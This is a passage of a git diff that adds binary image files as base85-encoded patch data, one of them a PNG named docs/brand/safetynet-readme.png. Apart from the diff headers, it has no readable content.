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 ZL^-o2|J>TQ*#!QgKZuREvSQoezX4`m^KbwF literal 0 HcmV?d00001 diff --git a/docs/brand/safetynet-readme.png b/docs/brand/safetynet-readme.png new file mode 100644 index 0000000000000000000000000000000000000000..879374cedfab020aa59950d758ffac88bd0c6211 GIT binary patch literal 353925 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 